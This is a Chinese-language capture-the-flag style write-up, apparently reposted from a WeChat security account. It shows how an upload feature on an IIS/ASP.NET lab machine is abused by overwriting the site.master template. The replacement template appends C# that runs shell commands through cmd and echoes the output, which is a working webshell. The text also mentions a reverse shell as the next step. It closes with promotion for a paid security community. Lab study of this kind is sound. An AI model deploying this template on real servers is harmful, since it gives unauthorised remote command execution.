“ 文件上传”
看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP知识点,车联网,渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。
01
—
site.master文件上传
最近打靶机学习到了一个新的知识点:site.master
靶机环境:windows+IIS/10.0
在进入靶机的web后台之后,发现有一个文件上传的功能,尝试上传asp,aspx后缀文件没有成功,尝试上传txt的时候成功了
访问网站根目录就可以查看我们上传的文件:
http://192.168.x.63:450/test.txt
在前面的枚举中,我们发现了一个 /dev 目录。到此目录会显示两个文件:style.css 和 site.master.txt。CSS 文件对我来说不感兴趣,但 TXT 文件包含非常有用的信息:
site.master的官方 Microsoft 文档 (https://docs.microsoft.com/en-us/previous-versions/wtxbf3hh(v=vs.140)?redirectedfrom=MSDN)
指出,此文件为 ASP.NET MVC 样式应用程序上的每个页面提供了一个模板,
该文件指示此网页使用 C# 作为后端语言,使用 **site.master** 文件作为
模板,并且通常驻留在 Web 根目录中。此文件还可以包含任意代码,
Microsoft 文档中未提及这些代码
让我们回顾一下已知信息。首先,site.master文件位于web根目录中,我们也知道我们可以将文件上传到网络根目录。通过扩展,我们可以用我们自己的版本的site.master去覆盖掉原先的site.master文件,该版本包含命令执行代码。如果覆盖成功,我们可以重新加载网页,我们的代码可以执行,从而实现远程代码执行。我们将包含原始文件中的现有内容,并附加任意C#代码,该代码输出运行web应用程序的用户的名称:
<%@ Language="C#" src="site.master.cs" Inherits="MyNamespaceMaster.MyClassMaster" %>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head runat="server">
<title>Butch</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="application-name" content="Butch">
<meta name="author" content="Butch">
<meta name="description" content="Butch">
<meta name="keywords" content="Butch">
<link media="all" href="style.css" rel="stylesheet" type="text/css" />
<link id="favicon" rel="shortcut icon" type="image/png" href="favicon.png" />
</head>
<body>
<div id="wrap">
<div id="header">Welcome to Butch Repository</div>
<div id="main">
<div id="content">
<br />
<asp:contentplaceholder id="ContentPlaceHolder1" runat="server"></asp:contentplaceholder>
<br />
</div>
</div>
</div>
</body>
</html>
<%
string stdout = "";
string cmd = "whoami";
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
stdout = p.StandardOutput.ReadToEnd();
Response.Write(stdout);
%>
保存成site.master,上传上去
刷新一下网页,发现回显了当前用户权限是管理员权限:
成功命令执行,接下来就可以写入反弹shell的代码去拿到权限了。
原文始发于微信公众号(道玄网安驿站):site.master文件上传突破边界
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论